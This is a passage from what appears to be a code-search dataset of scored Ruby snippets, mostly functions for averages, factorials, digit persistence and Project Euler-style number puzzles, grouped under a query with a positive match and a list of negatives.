"text": "def average(&block)\n return map(&block).average if block_given?\n scan({:sum => 0, :count => 0}) do |acc, n|\n begin\n acc[:sum] += n\n acc[:count] += 1\n rescue TypeError => e\n raise TypeError.new(\"average expected #{n} to be numerical (#{e.message})\")\n end\n acc\n end.\n last.\n map {|x|\n raise 'Sequence contains no elements' if x[:count] == 0\n x[:sum] / x[:count]\n }\n end",
"title": ""
},
{
"docid": "7a58951e7460ccd4ff99a37bdc16ce57",
"score": "0.5340094",
"text": "def moving_average(current_val,new_val)\n return new_val if current_val == 0\n current_val * 0.95 + new_val * 0.05\n end",
"title": ""
},
{
"docid": "4c13b57e97b412adbf8fff24fcd14370",
"score": "0.53374803",
"text": "def average\n sum / length\n end",
"title": ""
},
{
"docid": "f3d971e0b1f3aa3f575b4c05c1051dc8",
"score": "0.5337392",
"text": "def mean_error() \n \n difference = 0.0\n @differences_array.each do |difference_value|\n difference += difference_value.abs\n end\n error_val = difference / @differences_array.length #@differences_array.length is a substitute for our n-value\n return error_val.round(2)\n end",
"title": ""
},
{
"docid": "7e45211dc56319444db32a4cb34cb444",
"score": "0.53298527",
"text": "def update_average(data_series=@data_series)\n\t\tif validate_parameters\n\t\t\t@average = determine_average(data_series)\n\t\telse\n\t\t\traise RangeError, \"The input parameter must be an array with all numbers\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f0a2524be5e2ac48a34c6196b27e3a6c",
"score": "0.53230643",
"text": "def average\n sum/length\n end",
"title": ""
},
{
"docid": "0dd33c7a6f217db9443659ac99bd3ecb",
"score": "0.5320679",
"text": "def avg_offsprings\n return 0.0 if @couples.empty?\n\n (@offsprings.length / @couples.length.to_f)\n .round(Parameters::FLOAT_PRECISION)\n end",
"title": ""
},
{
"docid": "36c5f6db560aa1e2a7a754fa26f2bab8",
"score": "0.5320453",
"text": "def max_min_avg arr\n puts \"Max value: #{arr.max}\"\n puts \"Min value: #{arr.min}\"\n sum = 0\n arr.each {|i| sum += i}\n avg = sum/arr.length\n puts \"Avg value: #{avg}\"\nend",
"title": ""
},
{
"docid": "1dd20ed6147cfc6cc446e2ad152438cd",
"score": "0.5312965",
"text": "def samp_avg(arr)\n\n #if arr is nil, return nil. Also return nil if arr is empty after discarding nils.\n return nil if arr.nil?\n arr = arr.reject{|e| e.nil?}\n return nil if arr.empty?\n\n #Sum up all members of arr and divide it by the length of r. Return a float.\n arr.inject(0){|sum, i| sum + i} / arr.length.to_f\n end",
"title": ""
},
{
"docid": "6932cd180c16c24475931b10c61e6fe6",
"score": "0.5301413",
"text": "def mean()\n er = 0\n @final_list.each do |data|\n er += (data[2].to_f - data[3].to_f).abs\n end\n return er / @final_list.length\n end",
"title": ""
},
{
"docid": "cf505c9269875103eb48698ead24169d",
"score": "0.5285823",
"text": "def calculate_abberations\n i = 0\n abberations = []\n @periods.each do |period|\n unless i.zero?\n last_period = @periods[i - 1]\n abberations << period - last_period\n end\n i += 1\n end\n abberations.pop\n abberations.shift\n abberations.map(&:abs)\n end",
"title": ""
},
{
"docid": "cedbfbd1cebd5ceebd0d1c28534ca470",
"score": "0.5282346",
"text": "def new_value(arr, avg)\n\tif arr == [] then total = 0 else total = arr.inject(:+) end\n\tnew_number = (arr.length + 1) * avg - total\n\tif new_number > 0\n\t\tputs new_number.ceil\n\telse\n\t\traise ArgumentError, \"Expected average is too low\"\n\tend\nend",
"title": ""
},
{
"docid": "5413f19429b0943a13e0610f7076866b",
"score": "0.5279959",
"text": "def average\n self.sum / self.length.to_f\n end",
"title": ""
},
{
"docid": "51e82afdd2317925901da7c5d8e6f1fc",
"score": "0.52768624",
"text": "def average # return avg value of elements\n if self.length > 0\n self.sum * 1.0 / self.length\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "cb95e0bbd4b7b15383a1490e47209292",
"score": "0.5275818",
"text": "def average\n self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "37ed0a7891d6484e2193218ffd8a7e5c",
"score": "0.5274985",
"text": "def add_average\n \n end",
"title": ""
}
] |
5a099c47adb65bafdb69d2a044256d5e
|
to think, I was going to increment by 1 and check every time... obviously the better way is to multiply by the starting number solutions to digest:
|
[
{
"docid": "80724ed768ba28147570e3e915e10760",
"score": "0.0",
"text": "def sequence(count, start)\n count.times.map { |iteration| (iteration + 1) * start }\nend",
"title": ""
}
] |
[
{
"docid": "ba354f81ee89124dca127b3be10c1989",
"score": "0.67569965",
"text": "def gennext(factor, prev)\n (prev * factor) % 2_147_483_647\nend",
"title": ""
},
{
"docid": "7093cdd79d9ab729e475300891f62b0a",
"score": "0.66839004",
"text": "def calcIntDigest(digester)\n return digester.hexdigest.to_i(16) % BIG_PRIME\nend",
"title": ""
},
{
"docid": "17bcc6620e558ee15ac96061fb9df182",
"score": "0.6581279",
"text": "def problem_74\n fac = (0..9).map {|n| n.factorial}\n (0..9).each { |n| fac[n + ?0.ord] = fac[n] }\n\n seen = {\n 1454 => 3, 169 => 3, 363601 => 3,\n 871 => 2, 45361 => 2, \n 145 => 1\n }\n total = 0\n (10..1_000_000).each do |number|\n n = number\n run = []\n until len = seen[n] do\n seen[n] = -1\n run << n\n #n = n.to_digits.reduce(0) {|a,d| a + fac[d.to_i]}\n n = n.to_s.unpack(\"C*\").reduce(0) {|a,d| a + fac[d]} # 21sec\n# n = n.to_digits.reduce(0) {|a,d| a + fac[d]} # 21sec\n# puts \">>#{run.length} #{run.inspect}\"\n end\n # We have now entered a loop\n len += run.length\n# puts \"#{n} => #{len} #{run.inspect}\"\n run.reverse.each_index {|i| seen[run[i]] = len - i }\n if len >= 60\n puts \"#{number} => #{len}\" \n total += 1\n end\n end\n total\nend",
"title": ""
},
{
"docid": "c4868bc4b6797c9d061fdfa3a931f562",
"score": "0.656213",
"text": "def mine(key)\n\n number = 0\n\n while true\n hash = Digest::MD5.hexdigest(\"#{key}#{number}\")\n return number if hash =~ /\\A000000/\n number += 1\n end\nend",
"title": ""
},
{
"docid": "210ada1fc6ff5cbb77878b41c3ae183a",
"score": "0.65191334",
"text": "def hard(input)\n i = 1\n loop do\n return i if md5(\"#{input}#{i}\").start_with?('000000')\n i += 1\n end\nend",
"title": ""
},
{
"docid": "9c87bfaded8d5e5ad5b9ba746d98f4e7",
"score": "0.6491981",
"text": "def proof_of_work(previous_proof)\n # Find a number that when multiplied by the previous proof,\n # the hash has 4 leading 0s\n proof = 0\n\n while validate_proof(previous_proof, proof) == false\n proof += 1\n end\n\n return proof\n\n end",
"title": ""
},
{
"docid": "d64bec8cfb4e20accb3eeb43ae7999f3",
"score": "0.64648545",
"text": "def checksum\n pos = 0\n (numbers+extra_numbers).inject(start_num) do |sum,number|\n pos += 1\n sum + (number * pos)\n end % 103\n end",
"title": ""
},
{
"docid": "3f0064a82708dac7c57d7c688ea4a168",
"score": "0.6426812",
"text": "def persistence(number)\n counter = 0\n num = number.digits.reverse\n loop do\n break if num.size == 1\n num = num.inject(:*).digits\n counter += 1\n end\n\n counter\nend",
"title": ""
},
{
"docid": "83a971f42bddde49a7ed40799b919144",
"score": "0.64004326",
"text": "def persistence(n)\n current = n\n persist = 0\n until(current < 10)\n current = int_to_digits(current).reduce(:*) # folds, multiplying\n persist += 1\n end\n\n return persist\nend",
"title": ""
},
{
"docid": "d68037289e371e5d37c017896d6d44f4",
"score": "0.6390542",
"text": "def problem_92\n hit = 0\n seen = {0 => 0, 1 => 1, 89 => 89}\n\n check = lambda do |n|\n# puts n.inspect\n index = n.join.to_i\n return 0 if index == 0\n sum = index\n until seen[sum] do\n sum = sum.to_s.each_byte.map {|b| (b-48)*(b-48)}.reduce(&:+)\n end\n# puts \"#{n} => #{seen[sum]}\"\n seen[index] = seen[sum]\n end\n\n values = lambda do |a,off|\n (a[off-1] .. 9).each do |v|\n a[off] = v\n if off == (a.length-1)\n if check.call(a) == 89\n # now many uniq permutations of 'a' are there.\n if true\n hit += a.permutations\n else\n h = {}\n a.my_permutate {|a| h[a.join] = true }\n hit += h.size\n end\n end\n else\n values.call(a,off+1)\n end\n end\n end\n\n a = Array.new(7,0)\n values.call(a,0)\n puts \"seen.length = #{seen.length}\"\n hit\nend",
"title": ""
},
{
"docid": "bff535b43fd08d9564138b8c3c387ef9",
"score": "0.6388968",
"text": "def multisum(ending_number)\n sum = 0 \n ending_number.times do |count|\n sum += (count+1) if (count+1)%3 == 0 || (count+1)%5==0\n end \n sum \nend",
"title": ""
},
{
"docid": "d3bb64680aabb78bc0d3f6d684f83837",
"score": "0.63736606",
"text": "def try_01(sum)\n if (200 - sum) % 1 == 0\n @combos += 1\n end\nend",
"title": ""
},
{
"docid": "6b4684d95942d1fd1d4de3bdc91b7f7b",
"score": "0.63712966",
"text": "def nth_ugly_number_2(n)\n return 1 if n <= 1\n hash = {1 => true}\n start = 1\n count = 1\n while count <= n\n while hash[start].nil?\n start += 1\n end\n\n hash[start * 2] = true\n hash[start * 3] = true\n hash[start * 5] = true\n count += 1\n start += 1\n end\n\n return start - 1\nend",
"title": ""
},
{
"docid": "8d8f49f00fecda5b61d692c2b0905cda",
"score": "0.63493",
"text": "def true\n result = 0\n factorials = [1,1,2,6,24,120,720,5040,40320,362880]\n (10..362880).each do |i|\n p = i\n sum = 0\n while i != 0\n sum += factorials[i % 10]\n i /= 10\n end\n result += p if p == sum\n end\n result\nend",
"title": ""
},
{
"docid": "f4e7fc2493e6e6ff06e25bd710f3c069",
"score": "0.6341402",
"text": "def persistence(n)\n i = 0\n until single_digit_check(n) == true do\n n = digit_multiplier(n)\n i += 1\n end\n i\nend",
"title": ""
},
{
"docid": "9ebc978ceef6fa01cb194d8c8acda049",
"score": "0.63274735",
"text": "def persistence(n)\n # Multiplicative persistence\n multiper = 0\n until n.to_s.size == 1\n n = n.to_s.chars.map(&:to_i).reduce(:*)\n multiper += 1\n end\n multiper\nend",
"title": ""
},
{
"docid": "1b7abf5c848e994136944d6afd5798b8",
"score": "0.6313467",
"text": "def MultiplicativePersistence2(num, count=0)\n count += 1 and num = num.to_s.chars.map(&:to_i).reduce(1, :*) until num < 10\n count\nend",
"title": ""
},
{
"docid": "78a7194f345d5f3d8db40b1a6b900dd4",
"score": "0.63126796",
"text": "def test # this is the only mode so far, but I made it extendable so that you can add more modes later\r\n \"\r\n n=($$**$.)[0xFA64B3ED9^$$] # this will do very crucial stuff, leave it alone\r\n m=$_?0b11010:$$%n # it's like that inverse square root thingy, just don't even try to understand\r\n [*n..m].step(n^m)[-1] # if you're curious, it's some prime algorithm, I forgot which, but should be easy to look up\r\n \".inspect\r\nend",
"title": ""
},
{
"docid": "532cb39eaa2e02a55531a440b828da9a",
"score": "0.6309364",
"text": "def method2 (n)\r\n\r\n # n! repeats if we remove all numbers that % 5 == 0, so all multiples of 5. Then we have lff_nofives(n) * lff_onlyfives(n)\r\n # lff_nofives(n) reamins the same after n > 100000 and n % 100000 == 0. This is because lff_nofives(n) = 09376 for those numbers and 09376^n always has 09376 as the last 5 digits before trailing zeros\r\n # lff_nofives (n) * lff_onlyfives(n)\r\n\r\n # final\r\n (lff_nofives2(n) * lff_onlyfives4(n))% 100000\r\nend",
"title": ""
},
{
"docid": "00a67cc3d2c89cc2c7a415701f24cc92",
"score": "0.6306286",
"text": "def persistence(n)\n count = 0\n number_array = n.digits\n while number_array.size > 1\n number_array = number_array.reduce(:*).digits\n count +=1\n end\n count\nend",
"title": ""
},
{
"docid": "959d20c2cfbaad116b194369ba575e52",
"score": "0.63046384",
"text": "def digest(p0) end",
"title": ""
},
{
"docid": "f6d0f1da1e5db631e3783206e53737ed",
"score": "0.6291077",
"text": "def index\n @factorialls = Factoriall.all\n if @factorialls.empty?\n Thread.new do\n res = BigDecimal.new(0)\n 5.times do |n|\n st = n == 0 ? 1 : 26**n + 1\n en = 26**(n+1)\n res = (st..en).inject(res){|sum, k| sum + Math.log2(k)}\n Factoriall.create n: (n+1), result: res.to_s\n end\n end\n end\n end",
"title": ""
},
{
"docid": "ca56a89cdf5eeb344784321a1387c0fc",
"score": "0.6282692",
"text": "def compute_depth_two_electric_boogaloo n\n result, multiplier = [], 0\n -> { multiplier += 1 ; result.concat((n*multiplier).to_s.split('')).uniq! }.call until result.length == 10\n multiplier\nend",
"title": ""
},
{
"docid": "533066be9c8536b1939ea1e0bc400744",
"score": "0.6274616",
"text": "def solve\n step, n, sum = 2, 1, 1\n 1.upto(2000) do |i|\n step += 2 if (i-1) % 4 == 0 unless i == 1\n n += step\n sum += n\n end\n sum\nend",
"title": ""
},
{
"docid": "597abb7cfee605592beed9f2aebab238",
"score": "0.6246651",
"text": "def solution(n)\n total = 0\n\n i = 1\n while i * i < n\n total += 2 if n % i == 0\n i += 1\n end\n total += 1 if i * i == n\n\n total\nend",
"title": ""
},
{
"docid": "86e8324d4292c9312d64eae6f2041796",
"score": "0.6240405",
"text": "def solution_21\n def d(n)\n divisors = divisor_list(n)\n divisors.delete(n)\n divisors.reduce(:+)\n end\n result = 0\n (2..9999).each do |a|\n b = d(a)\n result += a if a == d(b) and a != b\n end\n result\n end",
"title": ""
},
{
"docid": "49680f876528f0241f5553bb87b243ac",
"score": "0.6238406",
"text": "def multiplicative_persistence(num)\n count = 0\n until num < 10\n num = num.to_s.chars.map(&:to_i).reduce(:*)\n count += 1\n end\n count\nend",
"title": ""
},
{
"docid": "612bd2eac436e411234cce1bcbb723e1",
"score": "0.62378013",
"text": "def MultiplicativePersistence(num)\n\n new = num.to_s.split('').map {|x| x.to_i}\n \n pers = new.size == 1 ? 0 : 1\n sum = new.reduce(:*)\n new = sum.to_s.split('').map { |x| x.to_i }\n \n until sum < 10 \n p sum = new.reduce(:*)\n p pers += 1\n new = sum.to_s.split('').map { |x| x.to_i }\n end\n \n # code goes here\n return pers \n \nend",
"title": ""
},
{
"docid": "27c6e3c092fe080a431a46023073cf83",
"score": "0.6233609",
"text": "def persistence(n)\n raise \"Argument must be a positive number.\" if !n.is_a?(Integer) || n < 0 \n times_multiplied = 0\n ans = n\n \n until ans.digits.length == 1 do\n ans = ans.digits.inject(:*)\n times_multiplied += 1\n end\n \n return times_multiplied\nend",
"title": ""
},
{
"docid": "f18ac23d301da3a4cb6b1496f591d5d2",
"score": "0.62263393",
"text": "def solution(n)\n result = 0\n i = 1\n while i * i < n\n result += 2 if (n % i).zero?\n i += 1\n end\n result += 1 if i * i == n\n result\nend",
"title": ""
},
{
"docid": "19ef7d6e85b5a1e5184502759f2be623",
"score": "0.62206274",
"text": "def featured(n)\r\n for num in ((n+1)...10_000_000_000) do\r\n (return num) if num.odd? && (num % 7 == 0) && (num.digits.uniq == num.digits)\r\n end\r\n \"Error\"\r\nend",
"title": ""
},
{
"docid": "6c7eb90a1945f3c34e2de3c12a27db3f",
"score": "0.6211996",
"text": "def persistence(n)\n count = 0\n until n.to_s.length == 1 do\n n = n.to_s.chars.reduce(1) { |prod,e| prod*e.to_i }\n count += 1\n end\n count\nend",
"title": ""
},
{
"docid": "4576f3ab120897446d2bf5a1af52576d",
"score": "0.6191641",
"text": "def factorial_version_4(number)\n return 1 if number == 0\n number.downto(1).reduce(:*)\nend",
"title": ""
},
{
"docid": "dc2c036018d2d559bb4bb050fcb9e6d8",
"score": "0.6188316",
"text": "def persistence(n)\n persistence = 0\n until n.to_s.length == 1 do\n n = n.to_s.chars.map(&:to_i).reduce { |product, n| product = product * n}\n persistence += 1\n end\n persistence\nend",
"title": ""
},
{
"docid": "391b0dce6a31d9d5d3de6b865b37db97",
"score": "0.6170203",
"text": "def amicable(x)\r\n start = 1\r\n sum = 0\r\n #goes through all values from 1 to just over half of a number and adds them up\r\n while start < x/2 + 1\r\n if x%start == 0\r\n sum += start\r\n end\r\n start += 1\r\n end\r\n return sum\r\nend",
"title": ""
},
{
"docid": "600efd28268e49724065d2279875ae1d",
"score": "0.6168205",
"text": "def euler_14(under = 1000000)\n len = 0\n num = 1\n cache = {}\n 1.upto(under).each do |i|\n o = i\n count = 0\n until i==1 do\n count+=1\n if i % 2 == 0\n i/=2\n else\n i=3*i+1\n end\n if cache[i]\n count += cache[i]\n i = 1\n end\n end\n cache[o] = count\n #puts cache.inspect\n if count > len\n len = count\n num = o\n end\n end\n num\nend",
"title": ""
},
{
"docid": "b2249bea90ee921687545531f2f4f519",
"score": "0.6165094",
"text": "def generate_code(num)\n num * 252533 % 33554393\nend",
"title": ""
},
{
"docid": "039c1bd43875cfd2ada0bc6f86d56155",
"score": "0.61628085",
"text": "def euler1(n)\n result = 0\n (1...n).each do |n|\n result += n if n % 3 == 0 or n % 5 == 0\n end\n return result\nend",
"title": ""
},
{
"docid": "332c77610b6b3a39efaebc8d41bf0011",
"score": "0.6157434",
"text": "def digit_factorial_chain_for(number)\n chain_array = [number]\n temp_value = number\n until chain_array.count != chain_array.uniq.count\n accumulator = 0\n if temp_value.length == 1\n accumulator += temp_value.factorial\n else\n temp_value.to_a.each do |digit|\n accumulator += digit.factorial\n end\n end\n break if chain_array.include?(accumulator)\n chain_array << accumulator\n temp_value = accumulator\n end\n chain_array\nend",
"title": ""
},
{
"docid": "f7d6af70bdd0ef447670004ebaa09192",
"score": "0.6149091",
"text": "def featured(number)\n return \"There is no such number\" if number > 9_876_543_210\n number += 1\n number += 1 until featured_number?(number)\n\n number\nend",
"title": ""
},
{
"docid": "9ad8b4942aeb6dce4c3667888acaec17",
"score": "0.6145675",
"text": "def next_idx(idx, factor, ugly_numbers)\n until ugly_numbers[idx] * factor > ugly_numbers.last\n idx += 1\n end\n\n idx\nend",
"title": ""
},
{
"docid": "97f7a7a88cfd9de1975c901926fa36f2",
"score": "0.6136785",
"text": "def MultiplicativePersistence(num)\n mult_pers = 0\n until num < 10\n num = num.digits.inject(:*)\n mult_pers += 1\n end\n mult_pers\nend",
"title": ""
},
{
"docid": "b850b718b10724d04e94c54f826a471a",
"score": "0.6136644",
"text": "def factors_cache(n)\n return 1 if n == 1\n return n + 1 if n.prime?\n temp_num = n\n i = 1\n factors_sum = 0\n\n while temp_num > 1\n i += 1\n if $presents_to_house.include?(temp_num)\n factors_sum += $presents_to_house[temp_num] - 1\n break\n end\n\n while temp_num % i == 0\n # binding.pry\n factors_sum += temp_num\n temp_num /= i\n # if $presents_to_house.include?(temp_num)\n # break_flag = true\n # factors_sum += $presents_to_house[temp_num]\n # break\n # end\n end\n # break if break_flag\n end\n # factors_sum += n\n factors_sum + 1\nend",
"title": ""
},
{
"docid": "764dc1ee9fee54c75bd97b1fecf8a285",
"score": "0.61358494",
"text": "def featured(num)\n loop do\n num += 1\n no_duplicated = num.to_s.chars.uniq.size == num.to_s.chars.size\n break if num.odd? && (num % 7).zero? && no_duplicated\n end\n num\nend",
"title": ""
},
{
"docid": "71392384140fa82a7e6137a46e38dd0f",
"score": "0.6132269",
"text": "def persistence(n)\n return 0 if n < 10\n 1 + persistence(n.digits.inject(:*))\nend",
"title": ""
},
{
"docid": "9ada7b99bff52a8d38e7b8637ab26da0",
"score": "0.6132207",
"text": "def MultiplicativePersistence(num)\n\n # code goes here\n count = 0\n until num < 10\n str = num.to_s\n prod = 1\n for i in 0..str.length-1\n prod *= str[i].to_i\n end\n num = prod\n count += 1\n end\n return count \n \nend",
"title": ""
},
{
"docid": "b1fc744ff7977079c6bb483b6a528d06",
"score": "0.61216295",
"text": "def AdditivePersistence(num)\n num.to_s.split(//).map(&:to_i).combination(2).to_a.each do |comb|\n return comb.size if comb.reduce(&:+) > 0 && comb.reduce(&:+) <= 9\n end\n return 0\nend",
"title": ""
},
{
"docid": "099d2a2ee4fea48c69df9fb838dec653",
"score": "0.61115545",
"text": "def problem_2\n prev = 1\n current = 1\n sum = 0\n next_up = 0\n\n while current < 4000000\n next_up = prev + current\n sum += next_up if next_up.even?\n prev = current\n current = next_up\n end\n sum\nend",
"title": ""
},
{
"docid": "b40f83c8d0fff2dfc28e5b6538a6c9ac",
"score": "0.6110167",
"text": "def multiple_checker()\n\tsum = 0\n\tmultiple_index = 0\n\twhile multiple_index < 1000\n\n\t\tif (multiple_index % 3 == 0) || (multiple_index % 5 == 0) \n\t\t\tsum = sum + multiple_index\n\t\tend\n\t\tmultiple_index += 1\n\t\tp multiple_index\n\t\tp sum\n\tend\n\treturn sum\nend",
"title": ""
},
{
"docid": "7dcd431ba32b9faa8e988eb7da81167d",
"score": "0.6106545",
"text": "def main\n\tn = 1\n\ti = 0\n\twhile i < P-16 do\n\t\tn = (n * ((1 << 16) % N)) % N\n\t\ti += 16\n\tend\n\twhile i < P do\n\t\tn = (n * 2) % N\n\t\ti += 1\n\tend\n\tn = ((C * n) % N + 1) % N\n\tputs n\n\tputs i\nend",
"title": ""
},
{
"docid": "aa306a831a59aa32635da8bc11aa4622",
"score": "0.6105153",
"text": "def solution_26\n result = 0\n max = 0\n (2..999).each do |d|\n re_list = []\n remainder = 1 % d\n loop do \n if remainder == 0\n break\n elsif re_list.include?(remainder)\n start = re_list.index(remainder)\n len = re_list[start..-1].length\n if max < len\n max = len\n result = d\n end\n break\n else \n re_list.push(remainder)\n end\n remainder = (10*remainder) % d\n end\n end\n result\n end",
"title": ""
},
{
"docid": "c399e7e803b374408d4bc5e58bffa43c",
"score": "0.6102672",
"text": "def check_num(input)\n input = input.to_s\n num_of_checks = input.length\n step_size = input.length / 2\n\n # stick the number on itself so we don't need to worry about looping back\n input = input + input\n\n memo = 0\n num_of_checks.times do |i|\n memo = memo + input[i].to_i if input[i] == input[i+step_size]\n end\n\n memo\nend",
"title": ""
},
{
"docid": "ed884f4fd8b1e05145252beef8eff152",
"score": "0.609643",
"text": "def hash_function(num)\n num > 0 ? (num / SIZE) + 1 : 0\nend",
"title": ""
},
{
"docid": "68add73b9cf4f0ede32390c6787476f1",
"score": "0.6091386",
"text": "def ncr(n, r)\n (1..n).reduce(&:*) / ((1..r).reduce(&:*) * (1..(n-r)).reduce(&:*))\nend",
"title": ""
},
{
"docid": "e919dd7f275dbbc97c90ea374891336c",
"score": "0.6090217",
"text": "def featured(n)\n star_num = (n / 7) + 1\n while true\n result = star_num * 7\n if result.odd? && (result.to_s.chars.uniq == result.to_s.chars)\n return result\n else\n star_num += 1\n end\n end\nend",
"title": ""
},
{
"docid": "022654845ec12efdc8135bd3b22d5def",
"score": "0.6088723",
"text": "def multisum(num)\n sum = 0\n num.times do |iterator|\n if (iterator+1) % 3 == 0 || (iterator+1) % 5 == 0\n sum += (iterator+1)\n end\n end\n sum\nend",
"title": ""
},
{
"docid": "92baaa4ecf99fbf83b559a30803f9fb5",
"score": "0.6086342",
"text": "def AdditivePersistence2(num)\n counter = 0\n until num < 10\n counter += 1\n num = num.to_s.chars.map!(&:to_i).reduce(&:+)\n end\n return counter\nend",
"title": ""
},
{
"docid": "f619060dd57e8ea8952ba56240735a6d",
"score": "0.6085474",
"text": "def pr(x)\n counter = 0\n n = 2\n while true\n index = 2\n boolean = true\n while index < n\n if n % index == 0\n boolean = false\n break\n end\n index += 1\n end\n if boolean\n counter += 1\n return n if counter == x\n end\n n += 1\n end\nend",
"title": ""
},
{
"docid": "c3f36b078e5d484c49a0c9978ddd37bb",
"score": "0.608093",
"text": "def byte_coin(n)\n hash = {0 => 0}\n i = 1\n while i <= n\n sum = hash[i/2] + hash[i/3] + hash[i/4]\n sum > i ? hash[i] = sum : hash[i] = i\n i += 1\n end\n hash[n]\nend",
"title": ""
},
{
"docid": "fdab6c668f4c245bf0a058f0bcd60d9e",
"score": "0.60788757",
"text": "def solution_24\n def f(n)\n (1..n).reduce(:*)\n end\n \n perm = (0..9).to_a\n level = 1 \n which = 1000000\n while f(level) < which\n level += 1\n end\n \n digits = perm[10-level..-1]\n (level-1).downto(1).each do |i|\n count = 0\n while which - f(i) > 0\n count += 1\n which -= f(i)\n end\n perm[10-(i+1)] = digits[count]\n digits.delete_at(count)\n end\n perm = perm[0..-(digits.length+1)] + digits\n perm.join('').to_i \n end",
"title": ""
},
{
"docid": "12d103756f88cbf428df98d96f85818a",
"score": "0.60781014",
"text": "def euler28(n)\n count = 0\n jump = 2\n nth_jump = 0\n value = 1\n \n 1.upto((n - 1) * 2 + 1) do |i|\n count += value\n if nth_jump == 4\n jump += 2\n nth_jump = 0 \n end\n value += jump\n nth_jump += 1\n \n p value\n end\n \n count\nend",
"title": ""
},
{
"docid": "2dfadae0fa43d00bee8a0686f750057d",
"score": "0.6077411",
"text": "def solution\n sum = 0\n n = 1\n \n while n < 1000\n sum += n**n\n sum %= 10000000000\n n += 1\n end\n sum\nend",
"title": ""
},
{
"docid": "89673a31c1b8e68a1f1b4166d0214baa",
"score": "0.6076919",
"text": "def generate\n @current = (@current * @factor) % 2147483647\n end",
"title": ""
},
{
"docid": "3b5884c1febb35e110b38dde8b059804",
"score": "0.60738105",
"text": "def calculate n=@value_2\n \n nn = n\n\n loop do \n\n found = true\n \n @value_1.upto(@value_2) do |i|\n unless nn % i == 0\n nn += 1\n found = false\n break\n end\n end \n\n break if found\n \n end\n \n nn\n \n end",
"title": ""
},
{
"docid": "b8aa96d15a940bbd0c6ccbd073a3a35e",
"score": "0.6071023",
"text": "def problem_112\n bouncy = 0\n num = 100\n loop do\n bouncy += 1 if num.bouncy?\n break if num * 99 == bouncy * 100\n num += 1\n end\n num\nend",
"title": ""
},
{
"docid": "ead8d32b70be82868d2fbe2a8e6641f9",
"score": "0.60603696",
"text": "def problem_4(digits = 3)\n s = 10**digits - 1\n t = s/10 + 1\n s.downto(t) do |n|\n r = (n.to_s + n.to_s.reverse).to_i\n s.downto(t) do |div|\n break if (r / div) > s\n return(r) if (r % div).zero?\n end\n end\n return(0)\nend",
"title": ""
},
{
"docid": "e5d7e46a26462253e54e39b7eda089a0",
"score": "0.6058995",
"text": "def problem_25\n n = 2\n a,b = 1,1\n finish = 10 ** 999\n begin \n a, b, n = a+b, a, n+1\n end while a < finish\n n\nend",
"title": ""
},
{
"docid": "5d6693e6dcb8d066a2ef5cf0dca91cd2",
"score": "0.6051998",
"text": "def copro_part_2\n start = (79 * 100) + 100_000\n stop = start + 17_000\n step = 17\n\n h = 0\n (start..stop).step(step) { |i| h += 1 unless i.prime? }\n h\n end",
"title": ""
},
{
"docid": "9294c0b9e3a84a759defe27c0ad5ac81",
"score": "0.60481036",
"text": "def digit_factorials\n total_sum = 0\n factorial = (0..9).to_a\n #precalculate factorials here\n factorial.map! do |x|\n #if x is not 0, calculate factorial of digit else 0! = 1\n x != 0 ? (1..x).inject(:*) : 1\n end\n\n (10..2540161).each do |x|\n temp_sum = 0\n=begin\nThis method takes a lot longer to run, refactored it below\n #split the number into a digit array\n digits = x.to_s.split(\"\").map(&:to_i)\n\n #compute factorial for each digit and sum them\n digits.each do |x|\n #factorial in one line!\n temp_sum += factorial[x]\n end\n=end\n #compute factorial for each digit and sum them\n current = x\n while current > 0\n d = current % 10\n current /= 10\n temp_sum += factorial[d]\n end\n \n #check if factorial digit sum equals original number\n if temp_sum == x\n total_sum += temp_sum\n #puts temp_sum\n end\n #puts \"#{temp_sum} #{x}\"\n end\n\n puts total_sum\nend",
"title": ""
},
{
"docid": "73f2bf4bbfa3a83f450734888d3cee05",
"score": "0.6047178",
"text": "def aliquot_sum(num)\n i = 1\n sum = 0\n while i < num\n if (num % i == 0) \n sum += i\n end\n i += 1 \n end\n sum \nend",
"title": ""
},
{
"docid": "5b2c3f946a3c6627a7416f2fbf1dcc99",
"score": "0.6047164",
"text": "def reference_calculate(n, m)\n ms = [1,2,3,4,5,6].repeated_permutation(n).map do |attempt|\n attempt.reduce(:+)\n end.reduce(Hash.new(0)) do |acc, el|\n acc[el] += 1\n acc\n end\n Rational(ms[m]) / Rational(6 ** n)\nend",
"title": ""
},
{
"docid": "51013d6c89f2eb8f9a1e217b69d860ad",
"score": "0.6045799",
"text": "def run(num)\n x = 1\n y = num\n until (1..num).all?{|n| y % n == 0}\n x += 1\n y = num * x\n end\n y\nend",
"title": ""
},
{
"docid": "e7dbd8470b8249f8dd5323ce2f51d289",
"score": "0.6045292",
"text": "def featured(n)\n (n+1).upto(9_999_999_999) do |i|\n i_as_array = i.to_s.chars\n if i.odd? &&\n i % 7 == 0 &&\n i_as_array == i_as_array.uniq\n return i\n else\n next\n end\n end\n puts \"There is no possible number that fulfills those requirements\"\nend",
"title": ""
},
{
"docid": "4c2306c73ed083a71e1b4e749abb49e0",
"score": "0.6045202",
"text": "def multisum(number)\n store = 0\n count = 0\n number.times do \n count += 1\n if count % 3 == 0 \n store += count \n elsif count % 5 == 0\n store += count\n end \n \n end \n store \n end",
"title": ""
},
{
"docid": "17ba4c539d4621a3256942f503f27f51",
"score": "0.60449916",
"text": "def persistence(n)\n k = 0\n while n > 9 do\n n = n.to_s.split(//).map{|x| x.to_i}.inject(:*)\n k+=1\n end\n k\nend",
"title": ""
},
{
"docid": "2c31544e7b2df1f87a8a80b3e45178a8",
"score": "0.60447943",
"text": "def persistence(n)\n i = 0\n until n.to_s.length == 1\n n = n.to_s\n .chars\n .map(&:to_i)\n .inject(:*) \n \n i += 1\n end\n i\nend",
"title": ""
},
{
"docid": "ad56d9270e847dfc8b110c2ec5a85a2d",
"score": "0.60395676",
"text": "def find_judge(n, trust)\r\n arr = (1..n).to_a\r\n hash = {}\r\n arr.each {|num| hash[num] = 0}\r\n trust.each do |tuple|\r\n hash.delete(tuple[0]) if hash[tuple[0]]\r\n hash[tuple[1]] += 1 if hash[tuple[1]]\r\n end\r\n hash.keys.each {|key| return key if hash[key] == n-1}\r\n return -1\r\nend",
"title": ""
},
{
"docid": "04b208e234cf3d4eb5130cb1368b4cd7",
"score": "0.6029532",
"text": "def euler16(n)\n (2**n).to_s.split('').map { |i| i.to_i }.inject(:+)\nend",
"title": ""
},
{
"docid": "b7f7cb81a4848a8593389e790783ff32",
"score": "0.60278124",
